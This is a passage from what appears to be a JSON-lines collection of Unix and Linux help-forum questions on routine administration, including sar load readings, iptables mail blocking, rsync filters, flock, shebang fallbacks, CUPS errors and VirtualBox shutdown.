16:38:40 2 548 1.01 0.64 0.60 0 16:39:10 2 548 1.09 0.70 0.61 0 16:39:40 2 548 1.05 0.72 0.63 0 16:40:10 3 550 1.11 0.77 0.64 0 16:40:40 3 549 1.06 0.79 0.65 0 16:41:10 3 549 1.04 0.81 0.67 0 16:41:40 3 549 1.02 0.83 0.68 0 16:42:10 2 549 1.01 0.84 0.69 0 16:42:40 2 549 1.01 0.86 0.70 0 16:43:10 1 549 1.07 0.89 0.71 0 16:43:40 1 549 1.04 0.90 0.72 0 16:44:10 1 549 1.03 0.91 0.73 0 16:44:40 1 549 1.02 0.92 0.74 0 16:45:10 1 548 1.01 0.93 0.75 0 16:45:40 1 548 1.01 0.93 0.75 0 16:46:10 1 548 1.00 0.94 0.76 0 16:46:40 1 548 1.00 0.94 0.77 0 16:47:10 1 548 1.00 0.95 0.78 0 16:47:40 1 548 1.00 0.96 0.78 0 16:48:10 1 548 1.00 0.96 0.79 0 Can anyone explain what is going on here? The only explanation i can think of is that there is some special system task that can utilize the CPU if nothing else is but: 1. Is not included in the load average calculations and 2. Will give up its CPU time if a process does come along that needs it OR When the sar command samples the run queue it sees itself, but then this would not explain why the run queue eventually remains at one with the cpu load script running? OR I misunderstand the load average / run queue concept. Any suggestions much appreciated! UPDATE: So i tried again on a different machine with the same version of fedora and sar etc. This time i am seeing a consistent run queue length of 0 when the system is idle. Also tried on a centos 5.7 machine, again, run queue length is consistently 0 when idle. So presumably sar doesn't instantaneously see itself in the run queue. Still at a loss to explain why this machine reports ~0 for load average yet consistently measures 1 for run queue length."} {"_id": "144013", "title": "iptables blocking email from my wordpress site", "text": "I cant seem to send email from my Wordpress site. Here is what my iptables script looks like. Ports 25 and 110 are commented but even uncommented the send email does not work. #!/bin/bash # A Linux Shell Script with common rules for IPTABLES Firewall. set -x # flush existing set of rules iptables --flush # as a temporary measure accept everything from every port iptables -P INPUT ACCEPT && iptables -P FORWARD ACCEPT && iptables -P OUTPUT ACCEPT # Save to disk and restart firewall service service iptables save service iptables restart # enable unlimited traffic on the loopback (127.0.0.1) in order to provide access from the localhost iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT # enable both ICMP and STATE iptables -A INPUT -p icmp --icmp-type any -j ACCEPT iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # open both the domain and SSH ports iptables -A INPUT -p tcp --dport 53 -j ACCEPT iptables -A INPUT -p udp --dport 53 -j ACCEPT iptables -A INPUT -p tcp -m tcp --dport 2134 -j ACCEPT # allow HTTP on ports 80 and 143 iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT iptables -A INPUT -p tcp --dport 80 -j ACCEPT iptables -A OUTPUT -p tcp --dport 143 -j ACCEPT iptables -A INPUT -p tcp --dport 143 -j ACCEPT # allow FTP on ports 20/21 iptables -A OUTPUT -p tcp --dport 20:21 -j ACCEPT iptables -A INPUT -p tcp --dport 20:21 -j ACCEPT # allow SMTP and POP3 on ports 25 and 110 #iptables -I INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT #iptables -A INPUT -p tcp --dport 25 -j ACCEPT #iptables -A OUTPUT -p tcp --dport 25 -j ACCEPT #iptables -A INPUT -p tcp --dport 110 -j ACCEPT #iptables -A OUTPUT -p tcp --dport 110 -j ACCEPT # allow NTP on port 123 iptables -A OUTPUT -p udp --dport 123 -j ACCEPT # lock it down and deny unwanted access iptables -P INPUT DROP && iptables -P FORWARD DROP && iptables -P OUTPUT ACCEPT # Save to disk and restart firewall service service iptables save service iptables restart # list rules iptables -n -L -v --line-numbers"} {"_id": "26646", "title": "How to invoke root privileges from my custom app?", "text": "In a GUI-environment, I want to be able to ask the user for the root/sudo password and then execute an app that requires root privileges from within my app. As an example, say I want to run an editor to edit `/etc/fstab`, I need to start the editor via `exec()` or something with root privileges... how do I do this? **Note:** gksu, gksudo is not an option - may not be available/installed"} {"_id": "26645", "title": "Why use `chmod 644` instead of `chmod u=rw,go=r,...`?", "text": "I've been working on *nix for a few years now, and one of the things I just can't get used to is octal permissions in code. Is there some other reason than line length to prefer `chmod 644 ...` over `chmod u=rw,go=r ...`? PS: _I'm not looking for an explanation of octal permissions._ I know how they work, and it's well explained in the manual. I'm asking why octal seems to be preferred over the more human-readable form."} {"_id": "107032", "title": "Deleting a samba user: pbdedit vs. smbpasswd, what's the difference?", "text": "What is the difference between $ pdbedit -x and $ smbpasswd -x to delete samba users?"} {"_id": "26643", "title": "Can I use `apt-get` to upgrade to the latest version of Nagios?", "text": "At the time of this writing the latest version of Nagios is 3.3.1. I am running Ubuntu 10.04 and have used `apt-get update; apt-get install nagios3` to end up with version 3.2.0. I know there are a lot of instructions out there for manually compiling and installing the latest version of Nagios, but is there a way that I can have use `apt-get` to do it - perhaps editing the `/etc/apt/sources.list` file or something like that? ### Update It's been a little while since I asked this question, now I'm using Ubuntu 12.04 instead of 10.04 but I'm disappointed to report that an older version of Nagios (3.2.3) is loaded on the system instead of the current release (3.4.1) if you use the `apt-get` install method. I've opened a bounty hoping for more information. Please see the notes below in the bounty block."} {"_id": "107034", "title": "Mac OS X LDAP query via dscl yields different results for same user with same datasource", "text": "Where is the `NFSHomeDirectory` attribute stored for a Mac user who authenticates via LDAP? It doesn't seem to be in the LDAP database on the backend so I assume Open Directory is involved. I have 2 servers, one is 10.5.8 and one is 10.7. Each is an Open Directory Master. We also have Sun LDAP which is the authoritative LDAP for our entire environment. When I do `dscl /LDAPv3/our.ldap.server read /Users/ouruser` I get a different result for the `NFSHomeDirectory` attribute on the two servers, but I'm querying the same LDAP server in both instances. How could this be? What am I not understanding? I assume the attributes are all stored in LDAP since that is what I'm querying. Could it be caching? ### Some history The newer server was created by cloning the old one with Carbon Copy Cloner and then updating it. Pinging the LDAP server results in the same IP on both machines."} {"_id": "107038", "title": "Obtain exclusive read/write lock on a file for atomic updates", "text": "I want to have a file that is used as a counter. User A will write and increment this number, while User B requests to read the file. Is it possible that User A can lock this file so no one can read or write to it until User A's write is finished? I've looked into `flock` but can't seem to get it to work as I expect it. flock -x -w 5 /dev/shm/counter.txt echo \"4\" > /dev/shm/counter.txt && sleep 5 If there's a more appropriate way to get this atomic-like incrementing file that'd be great to hear too! My goal is: LOCK counter.txt; write to counter.txt; while at the same time Read counter.txt; realize it's locked so wait until that lock is finished."} {"_id": "102483", "title": "Navigating the CLI: Go back N words", "text": "I'm a Vim user, so I'm learning Emacs commands for use in the Bash CLI. I know that on _my_ systems I can use Vim-keybindings in Bash but I'd like to learn how to use it effectively in its default configuration. First order of business: Moving around. Let us assume that I've got the following on the CLI: $ mv some_long_file_name.txt some_long_file_name_with_slight_change.txt I'm at the end of the line and I'd like to go back 4 words. In Emacs one would `Ctrl`+`U`, `4`, `Alt`+`B` however on the Bash CLI `Ctrl`+`U` erases to the beginning of the line. How to perform the motion, then? Add auxiliary question, if I may? Assuming that I had successfully completed a move command and I'd like to do it again. How might I do that? So if I contorted my fingers on 5 keypresses to move back 4 words, how might I move back another 4 words? Note that I am interested in learning how to use the default configuration. I don't want to configure Zsh, Vim keybindings, or `.bash_profile`."} {"_id": "50309", "title": "How to force ALSA output as single-channel?", "text": "My speakers are broken and play at different loudness from time to time. This means that the off-center parts of music sound wrong. How can I force all sound to be centered, so that the two speakers have the same output? I'm using ALSA."} {"_id": "151390", "title": "How to check a particular directory is mounted?", "text": "How to check a particular directory is mounted on the Linux machine. For instance there is a folder named test, I want to check if it is mounted or not."} {"_id": "66210", "title": "How can I have more than one possibility in a script's shebang line?", "text": "I'm in a bit of an interesting situation where I have a Python script that can theoretically be run by a variety of users with a variety of environments (and PATHs) and on a variety of Linux systems. I want this script to be executable on as many of these as possible without artificial restrictions. Here are some known setups: * Python 2.6 is the system Python version, so python, python2, and python2.6 all exist in /usr/bin (and are equivalent). * Python 2.6 is the system Python version, as above, but Python 2.7 is installed alongside it as python2.7. * Python 2.4 is the system Python version, which my script does not support. In /usr/bin we have python, python2, and python2.4 which are equivalent, and python2.5, which the script supports. I want to run the same executable python script on all three of these. It would be nice if it tried to use /usr/bin/python2.7 first, if it exists, then fall back to /usr/bin/python2.6, then fall back to /usr/bin/python2.5, then simply error out if none of those were present. I'm not too hung up on it using the most recent 2.x possible, though, as long as it's able to find one of the correct interpreters if present. My first inclination was to change the shebang line from: #!/usr/bin/python to #!/usr/bin/python2.[5-7] since this works fine in bash. But running the script gives: /usr/bin/python2.[5-7]: bad interpreter: No such file or directory Okay, so I try the following, which also works in bash: #!/bin/bash -c /usr/bin/python2.[5-7] But again, this fails with: /bin/bash: - : invalid option Okay, obviously I could just write a separate shell script that finds the correct interpreter and runs the python script using whatever interpreter it found. I'd just find it a hassle to distribute two files where one should suffice as long as it's run with the most up-to-date python 2 interpreter installed. Asking people to invoke the interpreter explicitly (e.g., `$ python2.5 script.py`) is not an option. Relying on the user's PATH being set up a certain way is also not an option. ## Edit: Version checking within the Python script is **not** going to work since I'm using the \"with\" statement which exists as of Python 2.6 (and can be used in 2.5 with `from __future__ import with_statement`). This causes the script to fail immediately with a user-unfriendly SyntaxError, and prevents me from ever having an opportunity to check the version first and emit an appropriate error. **Example:** (try this with a Python interpreter less than 2.6) #!/usr/bin/env python import sys print \"You'll never see this!\" sys.exit() with open('/dev/null', 'w') as out: out.write('something')"} {"_id": "50303", "title": "What does \"DMA: Out of SW-IOMMU space\" error mean?", "text": "First the link: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1060268 Since this affects the kernel and other Distros, what does this type of error mean and why it happens?"} {"_id": "50302", "title": "How can I save as Excel files (.xls) in Calligra sheets?", "text": "Would someone tell me if it is possible to save as Microsoft Excel (`.xls`) in Calligra sheets?"} {"_id": "50306", "title": "Asus Bluetooth Dongle with Atheros (ath3k) chip - OpenSUSE - probe failed with error -5", "text": "I'm trying to use an Asus USB Bluetooth Dongle in OpenSUSE. Unfortunately when I plug it in, dmesg gives me the following output: usb 8-2: new full speed USB device using uhci_hcd and address 3 usb 8-2: New USB device found, idVendor=0cf3, idProduct=3000 usb 8-2: New USB device strings: Mfr=0, Product=0, SerialNumber=0 ath3k: probe of 8-2:1.0 failed with error -5 lsusb gives the following output: Bus 005 Device 004: ID 0cf3:3005 Atheros Communications, Inc. The modules ath3k and bluetooth are loaded, but neither bluedevil nor the OpenSUSE bluetooth adapter tool detect the stick. I'm using the 2.6.37.6-0.20-desktop kernel from the OpenSUSE repositories under openSUSE 11.4 32bit. The following packages are installed: * bluedevil * bluez * bluez * compat * bluez-firmware * bluez-gstreamer * bluez-hcidump * bluez-test * gnome-bluetooth * libbluedevil1 * libbluetooth3 * libgnome-bluetooth8"} {"_id": "50305", "title": "How to prevent a Qt/GTK app (Calibre) from using colors defined in .Xresources?", "text": "I have colors defined in .Xresources. They look lovely on urxvt, and utterly ghastly on Calibre. Calibre does not appear to have any way to disable or override those colors, so is there any way I can invoke Calibre that would ignore my color scheme?"} {"_id": "1446", "title": "what is commit=0 for ext4? does mdadm not support it?", "text": "I see this in my dmesg log EXT4-fs (md1): re-mounted. Opts: commit=0 EXT4-fs (md2): re-mounted. Opts: commit=0 EXT4-fs (md3): re-mounted. Opts: commit=0 I think that means that dealloc is disabled? does mdadm not support dealloc?"} {"_id": "68845", "title": "what's the best way to chainload this", "text": "I have two disks. One contains windows and is a SATA-drive. The other one contains Foresight Linux and is a IDE-drive. Now I have installed extlinux as the bootloader for Foresight Linux. Now I want to chainload it with the windows bootloader so I can boot both. In the bios I can only choose the SATA-drive to boot. Can this be working and if so, how can I do this. I tried to use Easybsd but then the only thing I can see is boot error."} {"_id": "1443", "title": "Is it possible to use named colors in Zsh beyond ANSI names?", "text": "I know there are ways to use ANSI color names in Zsh (such as red), but Zsh supports 256 colors by number. I'm curious if there's any way to refer to the non-ANSI colors by a name? (Without just sticking them in a variable)"} {"_id": "23037", "title": "Why must swap partition be nested when created as an extended partition?", "text": "I did not want to use up my last primary partition so I created my new swap partition as an extended partition. However, somewhat redundantly, it is created under sda4. This makes little sense as sda5 is the only partition in ext4. Why is it forced to be nested? Why can it not be created at the same level as the primary partitions, but it must be made a \"child\" partition? Do you understand what I am saying? This is an unnecessary distinction, as it is the only partition occupying the extended partition. I'd rather my swap be called sda4 and not be subordinated as sda5... ![enter image description here](http://i.stack.imgur.com/IniNQ.png)"} {"_id": "136176", "title": "Compare set of values from two files and print the output in third file in awk", "text": "Hi friends i have problem with comparing two files.I'll try my best to explain.I have two file f1 and f2 which i have to compare on basis of two sets Parameter(p) and Value(v). Basically f1 contains list of Values and Time Stamp for the each Parameters f1.csv P,V,TS p1,12,10:10:00 p2,34,10:21:00 p1,12,10:21:00 p2,34,10:22:00 p1,60,10:35:00 p3,60,10:36:00 p4,22,10:38:00 p4,42,10:40:00 p1,60,10:41:00 p3,58,10:42:00 p2,55,10:45:00 p3,58,10:55:00 File f2 contains previous latest value and time stamp for each parameter and every parameter has only one occurrence in this file.RTS(Real Time Stamp) & UTS(Updated Time Stamp) f2.csv P,V,RTS,UTS p1,12,10:00:00,10:05:00 p2,34,10:07:00,10:15:00 p3,60,10:25:00,10:30:00 p4,22,10:30:00,10:32:00 Now ill try to explain the output in two parts. First part is easy,for similar (P,V) in f1 & f2 change the UTS with latest TS.Here's pseudo code for each (P, V) in f1 { #if value exists in f2 if ((P, V) exists in f2) { f2.RTS(P,V)=f2.RTS(P,V) f2.UTS(P, V) = f1.TS(P, V) } } For the value which exists in f2 and f1 first part of the o/p file f3 in []:- f3.csv [ P,V,RTS,UTS p1,12,10:00:00,10:10:00 p2,34,10:07:00,10:21:00 p1,12,10:00:00,10:21:00 p2,34,10:07:00,10:22:00 p3,60,10:25:00,10:36:00 p4,22,10:30:00,10:38:00] Second part is difficult.It deals only with f1 file.Values which do not exists in f2. For values from f1 (p4,42,10:40:00)(p2,55,10:45:00) which occur only once and are not in f2 should have RTS=UTS=TS as given in o/p below. Ex:-For single occurrence p4,42,10:40:00,10:40:00 For values (p3,58,10:42:00),(p3,58,10:55:00),(p1,60,10:35:00)(p1,60,10:41:00) which occur twice and are not in f2,the first occurrence should have RTS=UTS=TS and the second occurrence for same (P,V) should have RTS=(TS of first occurrence of (P,V)) and UTS=TS of second occurrence of (P,V). Ex First occurrence (p1,60) in f1. p1,60,10:35:00,10:35:00 Second occurrence (p1,60) in f1 p1,60,10:35:00,10:41:00 The second part expected o/p f3.csv [ P,V,RTS,UTS p1,60,10:35:00,10:35:00 p4,42,10:40:00,10:40:00 p1,60,10:35:00,10:41:00 p3,58,10:42:00,10:42:00 p2,55,10:45:00,10:45:00 p3,58,10:42:00,10:55:00] Final o/p is appending both the o/p CSV.thank you any help will be appreciated"} {"_id": "136170", "title": "\"The GPG keys listed for the \"atomicrocketturtle.com\" repository are already installed but they are not correct for this package.\"", "text": "When running this on CentOS 6: yum update I accept the transaction summary that it presents and am then immediately presented with this: Downloading Packages: warning: rpmts_HdrFromFdno: Header V3 RSA/SHA1 Signature, key ID 4520afa9: NOKEY Retrieving key from file:///etc/pki/rpm-gpg/RPM-GPG-KEY.art.txt The GPG keys listed for the \"CentOS / Red Hat Enterprise Linux 6 - atomicrocketturtle.com\" repository are already installed but they are not correct for this package. Check that the correct key URLs are configured for this repository. How can I fix this issue? When I run this: rpm -q --queryformat \"%{SUMMARY}\\n\" gpg-pubkey I get this response: gpg(CentOS-6 Key (CentOS 6 Official Signing Key) ) gpg(EPEL (6) ) gpg(Atomic Rocket Turtle ) gpg(New Relic )"} {"_id": "23032", "title": "Mount a Windows network drive", "text": "I want to mount a netword drive on the server (SBS2008). I have two options: Either using a fedora which already mounts on a CentOS server or directly on the CentOS server. Here is the command I tried on the fedora machine: mount -t cifs //192.168.xx.xx/abc /mnt/lan -o username=usernameofwindowsmachine,pass=xyz If I use this command nothing happens and if I press enter it goes in the next line and make nothing. I also tried to mount on the CentOS directly but no command worked (mount -t smbfs, smbclient, smbmount, ...). Smbmount is not installed. smbclient gets a timeout and fedora use cifs and not smbfs ... The fedora machine already has a mount on a Windows 2003 Server, but I don't know how this has been made. I don't want to install something because I only want to transfer a big file from CentOS to SBS2008. Because I'm a beginner I'm missing knowledge in Linux .. **Edit** : So it is not that easy to mount a network drive ... I went another way: I saw that WinSCP was installed on the SBS2008 and connected on the machine and managed to transfer the file. The speed is not that good (1,8 MB/sec.) but hey it works."} {"_id": "5771", "title": "Simplest way of forwarding all mail from server?", "text": "> **Possible Duplicate:** > Lightweight outgoing SMTP server I am looking for a minimal mail solution (MTA) for a headless server which generate e-mails for local users and and fully qualified addresses from cron- jobs, etc. Ideally all mails to local user `foo` should be mapped to `foo@mydomain`, with possible modifications for `uid`<1024, and sent off to an external smtp server without involving `/var/mail`. Some years ago, I used sSMTP for a similar task, and I was wondering if this is still the way ahead? Also, how much of the default debian mail system should/could I remove? * * * **Update** Ended up Googling a bit, and the obvious candidates seem to be * sSMTP: Not actively developed * eSMTP: Not actively developed according to home page * mSMTP: Recommended in front of sSMTP at http://www.scottro.net/qnd/qnd-ssmtp.html * nullmailer: Suggested by Gilles Even though eSMTP is not developed anymore, it seems to have the nicest documentation. It doesn't quite fit my needs though, at it seems to insist on delivering mail to local user `foo` via a Mail Delivery Agent (MDA) instead of pushing it out over smtp to `foo@some.domain`. Or maybe it does do the mapping if I add `qualify_domain` to the config. Might have to try it out... nullmailer appears to be running a queue in `/var`, which is not something I want. Does anybody have experience with any of these?"} {"_id": "1448", "title": "Version Control System similar to Bazaar needed for CentOS 4.8 dedicated hosting server", "text": "I have recently had to have our dedicated server rebuilt as core system files were deleted. But that's another story... Before the rebuild, we were merging, branching, and committing changes to a number of different projects with Bazaar. Now it seems that the hosting company has rebuilt the server at CentOs 4.8 rather than 5.0, which I guess it was before. According to the support staff, Bazaar is not compatible with the new OS. The support staff have said: > I have installed all of the Bazaar Dependencies, however the missing > dependencies for example; > > * Missing Dependency: libc.so.6(GLIBC_2.4) is needed by package bzr > > > Is for a higher version of CentOS. My question is. Is this entirely true and is there any way to get Bazaar working on Centos 4.8? If not, are there any other version control systems similar to Bazaar? Below is the log for the attempted installation of Bazaar. Error: Missing Dependency: libc.so.6(GLIBC_2.4) is needed by package bzr Error: Missing Dependency: python(abi) = 2.4 is needed by package bzr Error: Missing Dependency: rtld(GNU_HASH) is needed by package bzr Error: Missing Dependency: libcrypto.so.6 is needed by package python-pycurl Error: Missing Dependency: python(abi) = 2.4 is needed by package python-paramiko Error: Missing Dependency: rtld(GNU_HASH) is needed by package python-pycurl Error: Missing Dependency: python(abi) = 2.4 is needed by package python-pycurl Error: Missing Dependency: libssl.so.6 is needed by package python-pycurl Error: Missing Dependency: rtld(GNU_HASH) is needed by package python-crypto Error: Missing Dependency: libc.so.6(GLIBC_2.4) is needed by package python-crypto Error: Missing Dependency: python(abi) = 2.4 is needed by package python-crypto Error: Missing Dependency: python-abi = 2.4 is needed by package python-crypto"} {"_id": "22348", "title": "Find links and their positions in a PDF", "text": "I need to find all links in a PDF file, along with the page they're on and their X/Y position. Is there any tool or combination of tools I can use to do that?"} {"_id": "22346", "title": "How let `sort | uniq -c` separate the number of occurrences by a tab charactor?", "text": "`uniq -c` separate the occurrence number by spaces, which is hard for to `cut` or `awk` to separate it out later. 1000_A1\\tB1\\n ___1_A2\\tB2\\n I can solve this problem using `sed -r 's/^ *([0-9]+)/\\1\\t/'` to change the delimiter to tab. Then `cut -f1` could return: 1000\\tA1\\tB1\\n 1\\tA2\\tB2\\n But it seems a common usage to have `uniq -c` separate the number by tab. Why is this feature missing? Is there any other easier way to do so?"} {"_id": "22347", "title": "Rsync ssh include & exclude", "text": "Here is my current rsync shell script upload.sh SOURCEDIR=/Users/thomas/sites/dreamhost/ DESTDIR=******@reggi.com:/home/thomasreggi/sites/ ##rsync -avzL --delete --include '*/' --include-from=list.txt --exclude '*' $DESTDIR $SOURCEDIR SOURCEDIR=/Users/thomas/sites/dreamhost/ DESTDIR=******@reggi.com:/home/thomasreggi/sites/ rsync -avzL --delete --exclude=\".DS_Store\" --exclude-from=list.txt $SOURCEDIR $DESTDIR list.txt reggi.com/assets/dailybooth/img/original/ reggi.com/assets/dailybooth/img/spritesheets/ reggi.com/assets/dailybooth/sprite.css reggi.com/assets/thumb/cache/ reggi.com/wordpress/wp-content/plugins/ reggi.com/wordpress/wp-content/uploads/ What I am trying to accomplish here is a rsync download of the list directories then an upload of everything except the list directories. The second script works and avoids the list files but the first doesn't do what I want completely. I've gotten it to work if I append ** to the end of the directories but I'm not sure this works for the second script. I am looking for the optimal way of doing this."} {"_id": "131186", "title": "Pull Metadata from a video in the terminal", "text": "I am writing a bash script that I want to echo out metadata (length, resolution etc.) of a set of videos (mp4) into a file. Is there a simple way to get this information from a MP4 file?"} {"_id": "22345", "title": "\"invoke-rc.d: initscript cups, action \"start\" failed.\" while configure cups", "text": "When I run `apt-get -f install`, I get the following abnormal output: Setting up cups (1.5.0-8) ... start: Job failed to start invoke-rc.d: initscript cups, action \"start\" failed. dpkg: error processing cups (--configure): subprocess installed post-installation script returned error exit status 1 Errors were encountered while processing: cups E: Sub-process /usr/bin/dpkg returned an error code (1) I'm running under **Ubuntu Oneiric Ocelot, x64**. I'm not sure where to start to debug this. I appreciate any suggestions any of you may have."} {"_id": "131180", "title": "How to move a file without preserving permissions", "text": "The problem is I want to be able to see errors when moving a file, but not see errors with permissions problem. In other words - I care if the file is not fully transmitted, but don't want to see errors like this: > mv: failed to preserve ownership for `/home/blah/backup/pgsql.tar.gz': > Operation not permitted So I want something like: `mv $backupfile $destination --ignore-permissions`. The backup file can be anything from 1 MiB to 5 GiB and is transfered through NFS."} {"_id": "77269", "title": "mysql console, keeps outputting garbled text if 'b' key is pressed", "text": "mysql -u username -p mysql> Now in the console whenever I press the `b` key the screen goes berserk with garbled text: ![enter image description here](http://i.stack.imgur.com/bqdRM.png) Google doesn't help here. Edit: using ubuntu 12.10 with xterm or the default terminal Output of mysql --version mysql Ver 14.14 Distrib 5.5.31, for debian-linux-gnu (i686) using readline 6.2"} {"_id": "77263", "title": "Use grub rescue to boot from Windows XP partition, CD or USB", "text": "I just attempted to reinstall Lubuntu using my own guide. However, my LiveCD was (appearantly) damaged, which caused installation to fail. Now, when I restart the PC, I get dropped into a `grub rescue>` prompt. Now how can I use that prompt to: 1. Boot to the Windows XP partition that is on the hard drive or 2. Boot from a (new) LiveCD/LiveUSB to fix everything. The boot order is set to prefer the HDD, and I can't change it due to a password I don't know."} {"_id": "138654", "title": "dns resolve for 2 IPs with same reference", "text": "We having following situations: On a server, we have to set 2 IPs which will be refereed to the same fqdn. in the application which is running on the server, we are configuring the FQDN. Once there is problem with access to one IP (based on the FQDN), the server will use the second IP assigned to the same FQDN: example: `/etc/hosts` will contain 1.1.1.1 server1.google.com 1.1.2.1 server1.google.com once there is problem to access to 1.1.1.1, the server will use the server1.google.com as 1.1.2.1 Can we use such a thing? Is there some other option?"} {"_id": "151396", "title": "How to write a shell script to run multiple command in different screen sessions?", "text": "My goal is to write a `zsh` script in order to create multiple `screen` sessions and run separate commands on each of them. I would also like to check at the beginning of my script if there are any screens with running jobs and terminate all of them that sit idle. Furthermore, if possible I would like to have a way to record the stdout of the individual screen and get their ID number. So far I have tried the following: ### Script for running everything in screens ### killall -15 screen ## We make sure that no screens are running for now #bkg_array = (\"TopJets\" \"BosonJets\" \"DiBoson\" \"TTbar\") screen -dmS \"MYSCREEN\" screen -S \"MYSCREEN\" -p 0 -X stuff 'echo \"The array has of elements.\"\\n' However, I cannot seem to send the keystroke for pressing `Enter`; how can I achieve that effect? Additionally without the `-p` option the command is not sent to the screen. After pressing `Ctrl+V+Enter` the characters `^M` were pasted on the screen and it pressed enter in the screen session, but I have no idea why that worked. Thanks for your help, feel free to point out any ambiguities."} {"_id": "117387", "title": "Understanding ls -l output", "text": "When I run `ls -lrt` command on a Unix folder , I get the following output MyServer> ls -lrt total 10 drwxr-x--- 3 UnixUser other 512 Jul 22 2011 FolderA lrwxrwxrwx 1 UnixUser other 42 Aug 23 2011 BEA -> ../../../Some/Folder/SOLARIS/BEA I am not sure what are BEA and Perlx.x in these folders. They do not seem to be files nor folders. Why is there a arrow besides them pointing to somewhere else?"} {"_id": "28618", "title": "How to verify if tmux is properly installed on Mac OSX", "text": "I've just tried installing tmux from source (via installing libevent first). The installation seemed fine, without throwing any obvious error. But when I typed `tmux` in iTerm2, it returned \"command not found\". However, there is clearly an executable named `tmux` in `/opt/bin/`. So I am a bit puzzled that whether I have successfully installed `tmux` on my mac. How do I get it work with iTerm2?"} {"_id": "28619", "title": "Veritas Volume Manager on OpenSolaris", "text": "I downloaded: http://download.oracle.com/otn/solaris/11/OracleSolaris11_11-11_VM.zip and succesfully booted it! :) only two things needed to be changed: 512 MByte RAM and VBox Processor Execution Cap to 80%. But. I can't find any packages regarding Veritas Volume manager! I searched: http://pkg.oracle.com/solaris/release/en/index.shtml with no luck. I tried a: pkginfo | grep VRTS as http://www.unix.com/solaris/154779-vxvm-cluster-information.html states, but I can't find any packages having \"vx\" in their names. **Q:** How can I Install/use the Veritas Volume Manager on OpenSolaris? Wikipedia states that Vertias is available on OpenSolaris too, not just Solaris!"} {"_id": "79553", "title": "Can not edit .vimrc file", "text": "I have just installed spf13 plugin for vim and I want to customize .vimrc file. When ever I try to save the edits it says: \".vimrc\" E166: Can't open linked file for writing syntastic: info: no active checkers for filetype vim Press ENTER or type command to continue I have tried saving with w! and everything that says here How can I edit .vimrc?"} {"_id": "79551", "title": "How can I solve the issue about mounting my Windows 8 NTFS partition on Linux Mint?", "text": "I used **Ubuntu** for long even along **Windows** and SOMETIMES I got this problem for mounting the corresponding **NTFS** partition at the beginning, however with a pair of command lines to the console I got it fixed. However, I moved to Linux Mint MATE 15 and I'm ALWAYS getting this problem, I've looked up and I know there's this new use for the hibernation file in Windows 8 which enables fast start up. _**Why_** can't I just mount my NTFS partition ignoring the hibernation file? Is this even possible? And, again, **_why_** would this get worse with Linux Mint? I really like the quicker boot of Windows 8 so I don't really consider disabling Windows hibernation and going to Windows to restart and log to Linux is cumbersome..."} {"_id": "86222", "title": "Application displaying latest blog posts on desktop", "text": "Is there an application for Linux which is able to put rss feed directly on desktop? I've seen lots of standalone programs, but I'd like to have a window in the corner of my desktop always showing latest n entries (like a desklet). I'm using Linux Mint with KDE."} {"_id": "28612", "title": "How to redirect user to Android Market in Apache?", "text": "On my website I should redirect Android users to my application on Android Market. What is the optimal way to do this? My first idea was RewriteCond %{HTTP_USER_AGENT} Android [NC] RewriteRule ^/$ market://details?id=...... But it doesn't work."} {"_id": "79606", "title": "Is there any pattern to specify target triples in GCC?", "text": "The gcc compiler use target-triplets for cross-compilation. I see some of these target triples like \"x86_64-pc-linux-gnu\" (the most common). I understand what means but I don't know how specify another unix-like system instead \"linux-gnu\". Is there any document for it? and the \"pc\" seems be optional (should I care about this?), when I run a \"config.guess\" script, it returns me \"x86_64-unknown-linux-gnu\"."} {"_id": "28611", "title": "How to automatically start and shut down VirtualBox machines?", "text": "I need to run a software system that is intended to be installed as an appliance on a dedicated machine. In order to save energy, I plan to run the system on a VirtualBox VM instead. The host is a standard Linux box with a SysV-Init system, the guest is a heavily modified Linux and I would prefer not to have to alter it further. VirtualBox is used in the OSE version. I have already figured out how to start the VM when the host boots ( _Edit:_ this is done, as Nikhil mentioned below, through the command `VBoxManager startvm`), but how can I gracefully shut down the VM? Any script running on the host would need to wait until the guest has fully shut down. Can anyone suggest how, for example, a service file doing this would have to look?"} {"_id": "86221", "title": "How can I lock my screen in Gnome 3.8 without GDM?", "text": "There is no \"Lock\" option showing up in the user menu, and the standard shortcuts (`Ctrl`+`L` or `Ctrl`+`Alt`+`L`) don't do anything. I'm running Fedora 19 with Gnome Shell 3.8.3, and XDM 1.1.11. I'm using XDM because of broken XDMCP support in GDM - but before I upgraded to Fedora 19, I did have the lock option, even when using XDM. > I've posted an answer reflecting the results of my own research. It > basically says that it's not possible to have screen-lock integrated into > Gnome 3.8 without running GDM. > > I really hope there's a better answer available though - so please add your > own answer if there's any way to do this that I overlooked."} {"_id": "79559", "title": "Easy way to push data into MongoDB from Bash shell script?", "text": "I know you can create a Javascript file that the MongoDB shell will execute upon startup. But I'm hoping for something more \"lightweight\" than that. I am using a Linux program that has a scripting language built in it. But the scripting language can not do operations like opening sockets, etc. It does have a \"system\" command to shell out to a Linux process. I would like to be able to push data into MongoDB via a Bash shell script and immediately return to the Linux process that spawned it, and quickly if I can since I intend to do this a few times a second (but not much more than that). It seems to me that shelling to the MongoDB shell and then have it execute a startup Javascript file would be a heavyweight operation relatively speaking? Is there a command line that I could craft from a bash script that would do a few quick MongoDB database operations and the exit? I have the MongoDB daemon running at all times on the default port."} {"_id": "58030", "title": "How to take 'password' like input in shell script?", "text": "> **Possible Duplicate:** > How to hide commands typed in a Linux shell? > Reading passwords without showing on screen in Bash Scripts I would like to take a password as input, but I want user to be able to enter it just like other utilities handle it i.e. the characters doesn't appear on the screen. I tried searching regarding this, but found no exact answer. I need to take in a variable, and then I would match the input with a pre- defined standalone password hard-coded variable sourced from one of the config files at the beginning of the script. ### Expected behaviour $./startScript username: mtk password: ******** `*` shown as placeholders. I need this part to be invisible. Currently the password is displayed as the user types it. How to do this?"} {"_id": "35088", "title": "Reading passwords without showing on screen in Bash Scripts", "text": "How to read passwords in bash scripts in a way like tools which are not showing it on terminal ? (Changing font to black on black might be tricky by easy to copy&paste - so it's not solution)"} {"_id": "92394", "title": "Regex to find NFS filesystems that aren't being mounted with nosuid, except for ones with special needs", "text": "I have a script that runs the command `mount -v 2>/some/file`, which I then parse with another script using the following regex: `^.*[\\ \\t]+type[\\ \\t]+nfs(?![\\ \\t]+.*\\b(?:nosuid|nosetuid)\\b).*` The problem I am having is this: there are a few NFS mounts that have waivers excluding them from being mounted 